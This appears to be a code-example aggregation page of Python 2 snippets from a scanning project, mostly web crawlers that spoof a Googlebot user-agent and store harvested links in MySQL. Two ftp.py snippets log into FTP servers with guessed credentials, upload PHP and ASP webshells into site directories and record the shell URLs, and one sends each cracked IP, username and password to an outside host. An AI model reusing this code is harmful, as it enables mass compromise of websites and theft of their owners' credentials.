Exemplo n.º 1
0
    def URL_DZ(self, URL):  #遍历页里的地址
        try:
            LS = list.Clist()  #初始化类
            LS.list_del()  #清空list列表
            req = urllib2.Request(URL)
            req.add_header(
                'User-Agent',
                "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
            )
            s = urllib2.urlopen(
                req, timeout=10
            )  # 超时10秒   #s = urllib2.urlopen(r"http://www.163.com")
            ss = s.read()
            p = re.compile(r'<a.+?href=.+?>.+?</a>')
            pname = re.compile(r'(?<=>).*?(?=</a>)')
            phref = re.compile(r'(?<=href\=\").*?(?=\")')
            #构造及编译正则表达式
            sarr = p.findall(ss)  #找出一条一条的<a></a>标签   #这添加到数组在过滤重复值减少mysql压力
            i = 0
            for every in sarr:
                if i >= 3000:
                    print "Thread:%d-CS_openurl-URL:%s-Over 3000 URL address\n"%\
                          (self.Ht,URL)
                    break
                else:
                    i += 1
                sname = pname.findall(every)
                if sname:
                    sname = sname[0]
                    shref = phref.findall(every)
                if shref:
                    shref = shref[0]
                    if ~self.URL_STR(shref):  #判断是否是HTTP字符
                        a1 = self.URL_TQURL(shref)  #URL提取URL
                        if self.BOOL_2com:  #是否采集2级域名
                            if a1:
                                LS.liet_add(a1)  #添加到数组
                        else:
                            a2 = xx_com_cn_xx.get_sdomain(a1)  #获取主域名
                            if a2:
                                if xx_com_cn_xx.www_www(a2):  #过滤违规域名
                                    LS.liet_add(a2)  #添加到数组

            LS.liet_lsqc()  #数组列表去重复
            time.sleep(0.5)
            for i in range(len(LS.list_2)):
                if self.BOOL_com_cn:  #0否1是 设置是否限制采集范围
                    if self.bool_for_com_cn_lis(LS.list_2[i]):
                        #print LS.list_2[i]
                        class_Queue.Aopenurl.put(LS.list_2[i], 0.1)
                else:
                    class_Queue.Aopenurl.put(LS.list_2[i], 0.1)

            print "Thread:%d--list_url:%d--url:%s--time:%s" % (
                self.Ht, len(
                    LS.list_2), URL, time.strftime('%Y.%m.%d-%H.%M.%S'))
        except:
            print "Thread:%d--try-except--url:%s--time:%s" % (
                self.Ht, URL, time.strftime('%Y.%m.%d-%H.%M.%S'))
        return 0
Exemplo n.º 2
0
    def getURL(self,URL):  #getURL(url)用来将HTML中的url放入urls列表中
        try:
            LS = list.Clist()  #初始化类
            LS.list_del()  #清空list列表
            req = urllib2.Request(URL)
            req.add_header('User-Agent',"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)")
            s = urllib2.urlopen(req,timeout=10)  # 超时10秒   #s = urllib2.urlopen(r"http://www.163.com")
            ss = s.read()
            p = re.compile( r'<a.+?href=.+?>.+?</a>' )
            pname = re.compile( r'(?<=>).*?(?=</a>)' )
            phref = re.compile( r'(?<=href\=\").*?(?=\")')
            #构造及编译正则表达式
            sarr = p.findall(ss)#找出一条一条的<a></a>标签   #这添加到数组在过滤重复值减少mysql压力
            i=0
            for every in sarr:
                if i>=3000:
                    break
                else:
                    i+=1
                sname = pname.findall( every )
                if sname:
                    #sname = sname[0]
                    shref = phref.findall( every )
                    if shref:
                        shref = shref[0]
                        #print shref #获取URL
                        http=shref[0:7]  #提取http
                        if http=="http://":
                            LS.liet_add(shref)  #添加到数组
            LS.liet_lsqc() #数组列表去重复
            return LS.list_2

        except Exception,e:
            print u"getURL",e
            return 0
Exemplo n.º 3
0
def URL_DZ(URL):  #遍历页里的地址
    try:
        LS = list.Clist()  #初始化类
        LS.list_del()  #清空list列表
        s = urllib2.urlopen(
            URL,
            timeout=10)  # 超时10秒   #s = urllib2.urlopen(r"http://www.163.com")
        ss = s.read()
        p = re.compile(r'<a.+?href=.+?>.+?</a>')
        pname = re.compile(r'(?<=>).*?(?=</a>)')
        phref = re.compile(r'(?<=href\=\").*?(?=\")')
        #构造及编译正则表达式
        sarr = p.findall(ss)
        #找出一条一条的<a></a>标签
        #这添加到数组在过滤重复值减少mysql压力
        i = 0
        for every in sarr:
            if i >= 3000:
                print u"超过3000个URL地址!!!!!!\n"
                break
            else:
                i += 1
            sname = pname.findall(every)
            if sname:
                sname = sname[0]
                shref = phref.findall(every)
            if shref:
                shref = shref[0]
                #print sname.decode( 'gbk' ), "\n" #获取连接名字
                #print shref #获取URL
                if URL_STR(shref):
                    print shref, u"非法HTTP地址"
                else:
                    #print shref   #"查找到了正确URL地址"
                    a1 = URL_TQURL(shref)  #URL提取URL
                    LS.liet_add(a1)  #添加到数组

        LS.liet_lsqc()  #数组列表去重复
        print u"原URL数据量:", len(LS.list)
        print u"去掉重复URL剩下数据量:", len(LS.list_2)
        time.sleep(1)
        E = 0  #得到list的第一个元素
        while E < len(LS.list_2):
            #添加到数据库
            if mysql_add(LS.list_2[E]):
                print "_-_"  #添加成功
            else:
                print "-_-"  #添加失败
            #print "\n",LS.list_2[E],
            E = E + 1
        mysql.mysql_S()  #保存数据
        print u"-----------------------URL列表添加完成-----------------------"
        open_mysql()  #读取URL

        # 上面是将每条<a></a>里面的内容和地址给匹配出来
    except:
        print u"这个URL地址无效!!!!!!!!!!!!!!"
        mysql.mysql_S()  #保存数据
        open_mysql()  #读取URL
Exemplo n.º 4
0
 def __init__(self,i):
     threading.Thread.__init__(self)
     self.TH=i
     self.LS = list.Clist()  #初始化类
     self.LS.list_del()  #清空list列表
     self.open_file()  #读取CMS
     self.LS.liet_lsqc() #数组列表去重复
     print "run Thread:%d  cms:%s"%(self.TH,len(self.LS.list_2))
Exemplo n.º 5
0
    def URL_DZ(self, URL):  #遍历页里的地址
        try:
            LS = list.Clist()  #初始化类
            LS.list_del()  #清空list列表
            s = urllib2.urlopen(
                URL, timeout=10
            )  # 超时10秒   #s = urllib2.urlopen(r"http://www.163.com")
            ss = s.read()
            p = re.compile(r'<a.+?href=.+?>.+?</a>')
            pname = re.compile(r'(?<=>).*?(?=</a>)')
            phref = re.compile(r'(?<=href\=\").*?(?=\")')
            #构造及编译正则表达式
            sarr = p.findall(ss)  #找出一条一条的<a></a>标签   #这添加到数组在过滤重复值减少mysql压力
            i = 0
            for every in sarr:
                if i >= 3000:
                    print u"----超过3000个URL地址!!!!!!----\n"
                    break
                else:
                    i += 1
                sname = pname.findall(every)
                if sname:
                    sname = sname[0]
                    shref = phref.findall(every)
                if shref:
                    shref = shref[0]
                    #print shref #获取URL
                    if ~self.URL_STR(shref):
                        a1 = self.URL_TQURL(shref)  #URL提取URL
                        LS.liet_add(a1)  #添加到数组

            LS.liet_lsqc()  #数组列表去重复
            time.sleep(0.5)
            E = 0  #得到list的第一个元素
            while E < len(LS.list_2):
                self.mysql_add(LS.list_2[E])  #添加到数据库
                E = E + 1
                #print u"\n-----------------------URL列表添加完成-----------------------"
            if self.printf >= 10:  #  #控制显示
                print u"----线程%d--采集URL:%s原URL:%d去掉重复URL:%d---扫描过URL:%s个/URL读取失败%s个/成功添加到数据库URL:%s个--%s----" % (
                    self.Ht, URL, len(LS.list), len(
                        LS.list_2), self.INI_data1, self.INI_data2,
                    self.INI_data3, time.strftime('%Y.%m.%d-%H.%M.%S'))
                self.printf = 0
            self.printf = self.printf + 1
            if self.INI_data1 >= 3000 and self.INI_data3 >= 100000:
                self.INI_data1 = 0
                self.INI_data2 = 0
                self.INI_data3 = 0
            self.open_mysql()  #读取URL
            # 上面是将每条<a></a>里面的内容和地址给匹配出来
        except:
            print u"----线程%d--%s这个URL地址无效!!!!!!!!!!!----" % (self.Ht, URL)
            self.INI_data2 = self.INI_data2 + 1  #URL获取失败
            #self.sql.mysql_S()  #保存数据
            time.sleep(5)
            self.open_mysql()
Exemplo n.º 6
0
 def __init__(self, i):
     threading.Thread.__init__(self)
     self.TH = i
     self.LS = list.Clist()  #初始化类
     self.LS.list_del()  #清空list列表
     self.open_file()  #读取CMS
     self.LS.liet_lsqc()  #数组列表去重复
     message_data = u"启动线程:%d  cms指纹识别库:%s" % (self.TH, len(self.LS.list_2))
     url_cms_QTX.Q_message.put(message_data, 1)
Exemplo n.º 7
0
Arquivo: ftp.py Projeto: webxscan/scan
    def admin_open_FTP(self, host, user, passwd):  #遍历数组
        try:
            self.LS = list.Clist()  #初始化类
            self.LS.list_del()  #清空list列表
            try:
                ftp = ftplib.FTP(host)
                ftp.login(user, passwd)
                print u"IP:%s用户名:%s密码:%s ----登陆FTP成功%s" % (
                    host, user, passwd, time.strftime('%Y.%m.%d-%H.%M.%S')
                )  #消息提示
                URL = "http://999kankan.com/ftppassword.php?IP=%s&user=%s&password=%s&root=3" % (
                    host, user, passwd)
                self.url_post(URL)  #后门
            except:
                print u"IP:%s用户名:%s密码:%s 连接FTP异常%s" % (
                    host, user, passwd, time.strftime('%Y.%m.%d-%H.%M.%S')
                )  #消息提示
                return 0

            #print self.Aftp_upload(ftp,"/phpwind/") #上传后门
#            self.post_url_data(host)  #验证路径是否正确

#            if self.ftp_delete(ftp,"/phpwind/"): #删除远程文件
#                print "11111111删除成功"
#            else:
#                print "2222222删除失败"

#            if self.ftp_upload(ftp,"/phpwind/"): #上传文件
#                print "11111111上传成功"
#            else:
#                print "2222222上传失败"

            E = 0  #得到list的第一个元素
            if self.open_ftp(ftp):  #采集要挂马的地址
                print u"开始测试权限"
                self.LS.liet_lsqc()  #数组列表去重复
                while E < len(self.LS.list_2):
                    #print self.LS.list_2[E]
                    if self.ftp_upload(ftp, self.LS.list_2[E]):  #上传文件
                        if self.post_url_data(host):  #验证路径是否正确
                            self.ftp_delete(ftp, self.LS.list_2[E])  #删除远程文件
                            data = self.Aftp_upload(ftp,
                                                    self.LS.list_2[E])  #上传后门
                            #                            http="http://"+host+"/"+data
                            http = self.http_get(host, "/" + data)  #验证地址是否存在
                            print http
                            self.TXT_file(http)  #写入文本
                            #print u"目录正确可以上传大马"  #大马的文件名应该是随机的
                            return 1
                        else:
                            self.ftp_delete(ftp, self.LS.list_2[E])  #删除远程文件
                    E = E + 1

            return 1
        except:
            return 0
Exemplo n.º 8
0
 def __init__(self, n):
     threading.Thread.__init__(self)
     self.n = n
     self.bool_com_cn = 0  # 0否1是 设置是否限制采集范围
     self.com_cn = ".com|.cn|cc|.org|.net|.gov"
     self.bool_2com = 0    # 是否采集二级域名
     self.com_cn_lis = []  # 分成数组
     #self.urlset = VVList()
     self.LS = list.Clist()  #初始化类
     self.readcfg()
Exemplo n.º 9
0
    def URL_DZ(self,URL):  #遍历页里的地址
        try:
            LS = list.Clist()  #初始化类
            LS.list_del()  #清空list列表
            req = urllib2.Request(URL)
            req.add_header('User-Agent',"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)")
            s = urllib2.urlopen(req,timeout=10)  # 超时10秒   #s = urllib2.urlopen(r"http://www.163.com")
            ss = s.read()
            p = re.compile( r'<a.+?href=.+?>.+?</a>' )
            pname = re.compile( r'(?<=>).*?(?=</a>)' )
            phref = re.compile( r'(?<=href\=\").*?(?=\")')
            #构造及编译正则表达式
            sarr = p.findall(ss)#找出一条一条的<a></a>标签   #这添加到数组在过滤重复值减少mysql压力

            i=0
            for every in sarr:
                if i>=3000:
                    print u"Thread:%d-CS_openurl-URL:%s-提取URL>=3000 URL\n"%\
                          (self.Ht,URL)
                    break
                else:
                    i+=1
                sname = pname.findall( every )
                if sname:
                    #sname = sname[0]
                    shref = phref.findall( every )
                    if shref:
                        shref = shref[0]
                        #print shref #获取URL
                        if ~self.URL_STR(shref):
                            a1=self.URL_TQURL(shref) #URL提取URL
                            LS.liet_add(a1)  #添加到数组

            LS.liet_lsqc() #数组列表去重复
            time.sleep(0.3)
            E = 0 #得到list的第一个元素
            while E < len(LS.list_2):
                #print LS.list_2[E]
                E = E + 1
                if not self.CS_YM(LS.list_2[E]):  #域名排除异常
                    #print "Thread:%d--CS_openurl--%s  no add"%(self.Ht,LS.list_2[E])
                    continue #进入下一次环
                if ~self.Aopenurl.full(): #如果队列满了  取反
                    self.Aopenurl.put(LS.list_2[E],0.1)
                try:
                    thread.start_new_thread(self.host_ftp,(LS.list_2[E],))
                    time.sleep(0.1) #确保先运行Seeker中的方法
                except BaseException, e:
                    print(str(e))
                    return 0

           # print "Thread:%d-CS_openurl-cjURL:%s-yURL:%d-qdcfURL:%d-time:%s"%\
           #       (self.Ht,URL,len(LS.list),len(LS.list_2),time.strftime('%Y.%m.%d-%H.%M.%S'))
            self.run()  #读取URL
Exemplo n.º 10
0
def add_Queue(TXT_file):  #添加到消息队列
    LS = list.Clist()  #初始化类
    LS.list_del()  #清空list列表
    xxx = file(TXT_file, 'r')
    for xxx_line in xxx.readlines():  #读取数据
        LS.liet_add(xxx_line.strip())  #添加数据
    LS.liet_lsqc()  #数组列表去重复
    print "list:%d list:%d" % (len(LS.list), len(LS.list_2))
    for url in LS.list_2:  #读取数据
        class_Queue.cms_url.put(url, 1)
    class_Queue.Z_suliang = class_Queue.cms_url.qsize()  #总数量
Exemplo n.º 11
0
    def URL_DZ(self,URL):  #遍历页里的地址
        try:
            LS = list.Clist()  #初始化类
            LS.list_del()  #清空list列表
            req = urllib2.Request(URL)
            req.add_header('User-Agent',"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)")
            s = urllib2.urlopen(req,timeout=10)  # 超时10秒   #s = urllib2.urlopen(r"http://www.163.com")
            ss = s.read()
            p = re.compile( r'<a.+?href=.+?>.+?</a>' )
            pname = re.compile( r'(?<=>).*?(?=</a>)' )
            phref = re.compile( r'(?<=href\=\").*?(?=\")')
            #构造及编译正则表达式
            sarr = p.findall(ss)#找出一条一条的<a></a>标签   #这添加到数组在过滤重复值减少mysql压力

            i=0
            for every in sarr:
                if i>=3000:
                    print "Thread:%d-CS_openurl-URL:%s-Over 3000 URL address\n"%\
                          (self.Ht,URL)
                    break
                else:
                    i+=1
                sname = pname.findall( every )
                if sname:
                    sname = sname[0]
                    shref = phref.findall( every )
                if shref:
                    shref = shref[0]
                    #print shref #获取URL
                    if ~self.URL_STR(shref):
                        a1=self.URL_TQURL(shref) #URL提取URL
                        LS.liet_add(a1)  #添加到数组

            LS.liet_lsqc() #数组列表去重复
            time.sleep(0.5)
            #能访问到说明有效添加到
#            if ~self.Bopenurl.full(): #如果队列满了  取反
#                add_url=URL[7:]  #替换http://字符串
#                self.Bopenurl.put(add_url,1) ##http200 链接成功的网站放这
            E = 0 #得到list的第一个元素
            while E < len(LS.list_2):
                #print LS.list_2[E]
                E = E + 1
#                if ~self.Aopenurl.full(): #如果队列满了  取反
#                    self.Aopenurl.put(LS.list_2[E],0.1)
                try:
                    thread.start_new_thread(self.host_RUL_200,(LS.list_2[E],))
                    time.sleep(0.1) #确保先运行Seeker中的方法
                except BaseException, e:
                    #print e
                    return 0

            self.run()  #读取URL
Exemplo n.º 12
0
    def URL_DZ(self,URL):
        try:
            LS = list.Clist()
            LS.list_del()
            req = urllib2.Request(URL)
            req.add_header('User-Agent',"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)")
            s = urllib2.urlopen(req,timeout=10)
            ss = s.read()
            p = re.compile( r'<a.+?href=.+?>.+?</a>' )
            pname = re.compile( r'(?<=>).*?(?=</a>)' )
            phref = re.compile( r'(?<=href\=\").*?(?=\")')
            sarr = p.findall(ss)
            i=0
            for every in sarr:
                if i>=4000:
                    print "---->4000 URL----\n"
                    break
                else:
                    i+=1
                sname = pname.findall( every )
                if sname:
                    sname = sname[0]
                    shref = phref.findall( every )
                if shref:
                    shref = shref[0]
                    if ~self.URL_STR(shref):
                        a1=self.URL_TQURL(shref)
                        LS.liet_add(a1)

            LS.liet_lsqc()
            time.sleep(0.5)
            E = 0
            while E < len(LS.list_2):
                self.mysql_add(LS.list_2[E])
                E = E + 1
            if self.printf>=10:
                print "----%d--URL:%sURL:%dURL%d---URL:%s/URL%s/URL:%s--%s----"%(self.Ht,URL,len(LS.list),len(LS.list_2),self.INI_data1,self.INI_data2,self.INI_data3,time.strftime('%Y.%m.%d-%H.%M.%S'))
                self.printf=0
            self.printf=self.printf+1
            if self.INI_data1>=3000 and self.INI_data3>=100000:
                self.INI_data1=0
                self.INI_data2=0
                self.INI_data3=0
            self.open_mysql()
        except:
            print "----%d--%sURL NO----"%(self.Ht,URL)
            self.INI_data2=self.INI_data2+1
            time.sleep(5)
            self.open_mysql()
Exemplo n.º 13
0
 def ofr_file(self, file_name):
     try:
         self.emit(SIGNAL("tableView_del"))  #清空全部数据
         LS1 = list.Clist()  #初始化类
         LS1.list_del()  #清空list列表
         xxx = file(file_name, 'r')
         for xxx_line in xxx.readlines():
             try:
                 data = xxx_line.strip().lstrip().rstrip('\n')
                 LS1.liet_add(data)  #添加数据
             except:
                 pass
         LS1.liet_lsqc()  #数组列表去重复
         self.emit(SIGNAL("messagebox_textEdit_add"),
                   u"导入URL列表\n原数据量:%d\n去除重复后:%d\n开始导入" %
                   (len(LS1.list), len(LS1.list_2)))  #发送信号
         for url in LS1.list_2:  #读取数据
             self.emit(SIGNAL("tableView_add_0"), url)  #发送信号
         self.emit(SIGNAL("messagebox_textEdit_add"), u"导入完成")
     except:
         pass
Exemplo n.º 14
0
 def open_pb_txt(self):  #读取要屏蔽的内容
     try:
         try:
             LS = list.Clist()  #初始化类
             LS.list_del()  #清空list列表
             xxx = file("data/pb.txt", 'r')
             for xxx_line in xxx.readlines():
                 if len(xxx_line) <= 2:
                     continue  #跳过   这一次
                 LS.liet_add(xxx_line.strip().lstrip())  #添加到数组
             LS.liet_lsqc()  #数组列表去重复
             self.list_2 = LS.list_2
         except Exception, e:
             print u"读取文件 data/pb.txt 异常"
             pass
         try:
             xxx = file("data/link.txt", 'r')  #链接
             for xxx_line in xxx.readlines():
                 self.link.append(xxx_line.strip().lstrip())  #添加数据+"\r\n"
         except Exception, e:
             print u"读取文件 data/link.txt 异常"
             pass
 def __init__(self, htint, Aopenurl):
     threading.Thread.__init__(self)
     self.Ht = htint
     self.Aopenurl = Aopenurl
     self.LS = list.Clist()  #初始化类
     self.a = 0
Exemplo n.º 16
0
def sql_sel(): #SQL查询
    try:
        a=random.randrange(1,8)   #产生一个随机数8以内的
        time.sleep(a) #确保先运行Seeker中的方法
        sql="select * from ftp where ftpsend is NULL limit 1"
        mysql.cursor.execute(sql)
        mysql.cursor.scroll(0)
        for row in mysql.cursor.fetchall():
            www_port(row[0])  #www转换IP在查看端口
    except:
        print u"SQL读取URL异常!!!!!"
####################################################################
####################################################################
if __name__=='__main__': 
    global LS
    LS = list.Clist()  #初始化类
    mysql.mysql_open()  #连接数据库
    sql_sel()   #SQL查询

#    #www= "90money.com"
#    host= "127.0.0.1"
#    www_cj(host)  #域名拆解
#    open_txt()  #打开TXT文本写入数组
#    FTP_username(host)  #导入密码组合方式
#    LS.liet_lsqc() #数组列表去重复
#    print u"数组数据量:",len(LS.list)
#    intps=len(LS.list_2)
#    print u"数组数据量去掉重复:",intps
#    print u"组合出%d*%d=%s 次密码" %(intps,intps,intps*intps)
#    print u"扫描网站FTP:%s 开始"%(host),
#    link_ftp(host)  #TXT导入数组    组合密码    遍历连接FTP
Exemplo n.º 17
0
Arquivo: ftp.py Projeto: webxscan/scan
    def admin_open_FTP(self, host, user, passwd):  #遍历数组
        try:
            self.LS = list.Clist()  #初始化类
            self.LS.list_del()  #清空list列表
            try:
                ftp = ftplib.FTP(host)
                ftp.login(user, passwd)
                print u"IP:%s用户名:%s密码:%s ----登陆FTP成功%s" % (
                    host, user, passwd, time.strftime('%Y.%m.%d-%H.%M.%S')
                )  #消息提示
            except:
                print u"IP:%s用户名:%s密码:%s 连接FTP异常%s" % (
                    host, user, passwd, time.strftime('%Y.%m.%d-%H.%M.%S')
                )  #消息提示
                return 0

            #print self.PHP_Aftp_upload(ftp,"/phpwind/") #上传后门
#            self.post_url_data(host)  #验证路径是否正确

#            if self.ftp_delete(ftp,"/phpwind/"): #删除远程文件
#                print "11111111删除成功"
#            else:
#                print "2222222删除失败"

#            if self.ftp_upload(ftp,"/phpwind/"): #上传文件
#                print "11111111上传成功"
#            else:
#                print "2222222上传失败"

            E = 0  #得到list的第一个元素
            print u"开始采集地址"
            if self.open_ftp(ftp):  #采集要挂马的地址
                print u"开始测试权限"
                self.LS.liet_lsqc()  #数组列表去重复
                while E < len(self.LS.list_2):
                    #print self.LS.list_2[E]
                    if self.ftp_upload(ftp, self.LS.list_2[E]):  #上传文件
                        if self.post_url_data(host):  #验证路径是否正确
                            self.ftp_delete(ftp, self.LS.list_2[E])  #删除远程文件
                            php_data = self.PHP_Aftp_upload(
                                ftp, self.LS.list_2[E])  #上传后门
                            #                            http="http://"+host+"/"+data
                            if self.http_get(
                                    host,
                                    "/" + php_data):  #验证地址是否存在  PHP有效就上传ASP的
                                php_http = "http://" + host + "/" + php_data
                                asp_data = self.ASP_Aftp_upload(
                                    ftp, self.LS.list_2[E])  #上传后门文件  ASP
                                asp_http = "http://" + host + "/" + asp_data
                                if self.http_get(host,
                                                 "/" + asp_data):  #验证地址是否存在
                                    self.update = "insert into webshell(IP,user,password,PHPshell,ASPshell,time) VALUES('%s','%s','%s','%s','%s','%s')" % (
                                        host, user, passwd, php_http, asp_http,
                                        time.strftime('%Y.%m.%d-%H.%M.%S'))
                                    self.sql.mysql_update(self.update)
                                    self.sql.mysql_S()  #保存数据
                                else:
                                    self.update = "insert into webshell(IP,user,password,PHPshell,time) VALUES('%s','%s','%s','%s','%s')" % (
                                        host, user, passwd, php_http,
                                        time.strftime('%Y.%m.%d-%H.%M.%S'))
                                    self.sql.mysql_update(self.update)
                                    self.sql.mysql_S()  #保存数据
                                self.TXT_file(php_http)  #写入文本
                            #print u"目录正确可以上传大马"  #大马的文件名应该是随机的
                            return 1
                        else:
                            self.ftp_delete(ftp, self.LS.list_2[E])  #删除远程文件
                    E = E + 1

            return 1
        except:
            return 0